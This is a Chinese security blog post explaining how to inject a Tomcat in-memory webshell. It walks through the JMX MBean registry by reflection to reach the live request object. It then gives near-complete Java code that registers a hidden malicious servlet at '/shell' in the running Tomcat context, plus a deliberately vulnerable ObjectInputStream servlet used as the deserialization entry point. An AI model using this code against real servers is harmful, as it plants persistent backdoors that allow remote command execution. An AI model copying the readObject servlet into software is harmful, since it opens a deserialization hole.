从Tomcat源码中寻找request路径进行注入

VSole2022-12-20 18:31:33

 前言 

前面主要是通过寻找一个全局存储的request / response来进行Tomcat中间下的回显,但是在tomcat 7环境下并不能够获取到StandardContext对象,这里李三师傅在前文的基础中发现了在AbstractProtocol$ConnectionHandler#register的调用中不仅像之前的思路一样将获取到的RequestInfo对象存放在了global属性中。

同样通过调用Registry.getRegistry((Object)null, (Object)null).registerComponent方法将RequestInfo对象进行组件的注册流程中。

 正文 

获取回显

紧跟上面,我们跟进这个registerComponent方法的调用。

对于传入的这个bean对象,首先通过他的类型获取了一个ManagedBean对象,调用其createMBean方法创建了一个MBean对象,最后调用了registerMBean进行该MBean的注册,跟进一下。

调用了mbsInterceptor属性的registerMBean方法进行注册,这里的mbsInterceptor属性即是DefaultMBeanServerInterceptor对象,跟进一下。

在这个方法调用了该类的registerObject方法进行注册。

在这个方法中,调用了Introspector#makeDynamicMBean方法创建了一个动态的MBean,之后调用了registerDynamicMBean方法进行动态MBean的注册。

最后调用了registerWithRepository进行进一步的注册。

在这个方法中,调用了该类的repository属性的addMBean方法进行MBean的添加。

在这个方法的后面,首先会根据dom取出对应的信息,如果不存在,将会调用addNewDomMoi方法将这个Bean进行了添加。

传入了一个map对象,其中包含有我们的requstInfo的信息,我们之后通过idea的Evaluate来进行调试。

这里的Catelina也就是和tomcat相关的组件信息,值得注意的是,如果使用springboot内置的tomcat启动服务,这里不再是Catalina而应该是Tomcat这个key值。这里的value值就是我们在上面最后一步put进入的一个map对象。

有很多,其中一个是包含有我们需要的request / response对象的,可以关注到下面这个key值。

其中的name字段的格式就是protocol-nio-port,这里我的环境是tomcat 8, 如果是tomcat 7环境这里的nio应该为bio才对。在其value字段中的NamedObject对象中。

能够找到我们需要的RequestInfo对象。所以总结一下我们获取request的流程大致为。

首先是通过反射一步一个获取到domainTb这个Map对象中key值为Catalina的value值。

之后从我们前面得到的value对象中获取到我们需要的RequestInfo类,进而获取到Request / Response对象。

构造回显内存

基于上面的思路,我们可以通过以下代码获取回显,// 获取JmxMBeanServer对象            MBeanServer mBeanServer = Registry.getRegistry((Object) null, (Object) null).getMBeanServer();            // 反射获取JmxMBeanServer对象的mbsInterceptor属性值,也即是DefaultMBeanServerInterceptor对象            Object mbsInterceptor = getField(mBeanServer, Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"));            // 获取DefaultMBeanServerInterceptor中的repository属性            Object repository = getField(mbsInterceptor, Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository"));            // 反射获取Repository对象的domainTb这个Map对象            HashMap domainTb = (HashMap) getField(repository, Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb"));            // 获取该HashMap中有关于Catalina这个hashMap对象进而获取到了GlobalRequestProcessor            // 使用Tomcat启动服务            Object namedObject = ((HashMap) domainTb.get("Catalina")).get("name=\"http-nio-8080\",type=GlobalRequestProcessor");            // 使用Springboot启动服务//            Object namedObject = ((HashMap) domainTb.get("Tomcat")).get("name=\"http-nio-9999\",type=GlobalRequestProcessor");            // 从获取的NamedObject对象中反射获取他的object属性            Object object = getField(namedObject, Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object"));            // object属性是一个BaseModelMBean对象,反射获取他的resource属性值            Object resource = getField(object, Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource"));            // resource属性是一个RequestGroupInfo对象,反射获取他的processors属性值            ArrayList processors = (ArrayList) getField(resource, Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors"));            // 遍历前面得到的ArrayList列表,获取想要的请求            for (Object processor : processors) {                // 强转为RequestInfo类型                RequestInfo requestInfo = (RequestInfo) processor;                // 反射获取对应的req属性                org.apache.coyote.Request req = (org.apache.coyote.Request) getField(requestInfo, Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req"));

(向右滑动、查看更多)

在获取了request对象之后,我们理应筛选一下本次请求的Request是哪一个进而保证能够执行后续操作,完整代码为:

try {            // 获取JmxMBeanServer对象            MBeanServer mBeanServer = Registry.getRegistry((Object) null, (Object) null).getMBeanServer();            // 反射获取JmxMBeanServer对象的mbsInterceptor属性值,也即是DefaultMBeanServerInterceptor对象            Object mbsInterceptor = getField(mBeanServer, Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"));            // 获取DefaultMBeanServerInterceptor中的repository属性            Object repository = getField(mbsInterceptor, Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository"));            // 反射获取Repository对象的domainTb这个Map对象            HashMap domainTb = (HashMap) getField(repository, Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb"));            // 获取该HashMap中有关于Catalina这个hashMap对象进而获取到了GlobalRequestProcessor            // 使用Tomcat启动服务            Object namedObject = ((HashMap) domainTb.get("Catalina")).get("name=\"http-nio-8080\",type=GlobalRequestProcessor");            // 使用Springboot启动服务//            Object namedObject = ((HashMap) domainTb.get("Tomcat")).get("name=\"http-nio-9999\",type=GlobalRequestProcessor");            // 从获取的NamedObject对象中反射获取他的object属性            Object object = getField(namedObject, Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object"));            // object属性是一个BaseModelMBean对象,反射获取他的resource属性值            Object resource = getField(object, Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource"));            // resource属性是一个RequestGroupInfo对象,反射获取他的processors属性值            ArrayList processors = (ArrayList) getField(resource, Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors"));            // 遍历前面得到的ArrayList列表,获取想要的请求            for (Object processor : processors) {                // 强转为RequestInfo类型                RequestInfo requestInfo = (RequestInfo) processor;                // 反射获取对应的req属性                org.apache.coyote.Request req = (org.apache.coyote.Request) getField(requestInfo, Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req"));                // 筛选请求                if (req.getParameters().getParameter("cmd") != null) {                    // 将req对象转为org.apache.catalina.connector.Request对象进行内存马的注入                    org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) req.getNote(1);                    // 获取对应的ServletContext上下文环境                    ServletContext servletContext = request.getServletContext();                    // 注入Servlet内存马的步骤                    String name = "RoboTerh";                    if (servletContext.getServletRegistration(name) == null) {                        StandardContext o = null;
                        // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象                        while (o == null) {                            Field f = servletContext.getClass().getDeclaredField("context");                            f.setAccessible(true);                            Object obj = f.get(servletContext);
                            if (obj instanceof ServletContext) {                                servletContext = (ServletContext) obj;                            } else if (obj instanceof StandardContext) {                                o = (StandardContext) obj;                            }                        }
                        //自定义servlet                        Servlet servlet = new TomcatMemshell3();
                        //用Wrapper封装servlet                        Wrapper newWrapper = o.createWrapper();                        newWrapper.setName(name);                        newWrapper.setLoadOnStartup(1);                        newWrapper.setServlet(servlet);
                        //向children中添加Wrapper                        o.addChild(newWrapper);                        //添加servlet的映射                        o.addServletMappingDecoded("/shell", name);                    }                }            }        } catch (Exception e) {            e.printStackTrace();        }
(向右滑动、查看更多)

测试

因为之前的spring-boot 2.5.0内置的tomcat版本是9.x,不能够通过该种方式进行内存马的注入。

所以我这里环境就选用Tomcat 8的容器进行搭建,其中的存在反序列化漏洞的Servlet为。

package com.roboterh.web;
import javax.servlet.ServletException;import javax.servlet.ServletInputStream;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.ObjectInputStream;
@WebServlet("/unser")public class ServletTest extends HttpServlet {    @Override    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {        this.doPost(req, resp);    }
    @Override    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {        try {            java.io.InputStream inputStream = req.getInputStream();            ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);            objectInputStream.readObject();        } catch (Exception e) {            e.printStackTrace();        }    }}

(向右滑动、查看更多)

启动服务之后发送序列化数据,验证是否成功注入。


能够成功进行注入操作。


 Ref 


https://xz.aliyun.com/t/7535

源码object
本作品采用《CC 协议》,转载必须注明作者和本文链接
调用了mbsInterceptor属性的registerMBean方法进行注册,这里的mbsInterceptor属性即是DefaultMBeanServerInterceptor对象,跟进一下。最后调用了registerWithRepository进行进一步的注册。在这个方法中,调用了该类的repository属性的addMBean方法进行MBean的添加。
前言Mybatis的专题文章写到这里已经是第四篇了,前三篇讲了Mybatis的基本使用,相信只要认真看了的朋友,在实际开发中正常使用应该不是问题。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。然后再去做针对性的免杀和绕过测试,尽可能避免出现查杀和拦截提示,动静大、易被发现
介绍Runtime 是一系列采用 C++ 语言编写的功能方法,它实现了大量 JavaScript 运行期间需要的 native 功能。
本文将解析angr模拟执行部分的源码,来帮助大家了解angr模拟执行的基本原理。
介绍Runtime 是一系列采用 C++ 语言编写的功能方法,它实现了大量 JavaScript 运行期间需要的 native 功能。本文分析 Runtime_StringToArray 方法的源码和重要数据结构,讲解 Runtime_StringToArray 方法的触发条件。
Builtin实现了V8中大量的核心功能,可见它的重要性。
1 摘要上一篇文章中,Builtin作为先导知识,我们做了宏观概括和介绍。Builtin是编译好的内置代码块,存储在snapshot_blob.bin文件中,V8启动时以反序列化方式加载,运行时可以直接调用。
crawlergo是一个使用chrome headless模式进行URL收集的浏览器爬虫。它对整个网页的关键位置与DOM渲染阶段进行HOOK,自动进行表单填充并提交,配合智能的JS事件触发,尽可能的收集网站暴露出的入口。内置URL去重模块,过滤掉了大量伪静态URL,对于大型网站仍保持较快的解析与抓取速度,最后得到高质量的请求结果集合。调研1.
一般情况下类与类之间是相互独立的,内部类的意思就是打破这种独立思想,让一个类成为另一个类的内部信息,和成员变量、成员方法同等级别。「内部类的好处:」把一个类写在外面和写在里面最终达到的结果都一样,那我们为什么还要使用内部类,岂不是多此一举吗?
VSole
网络安全专家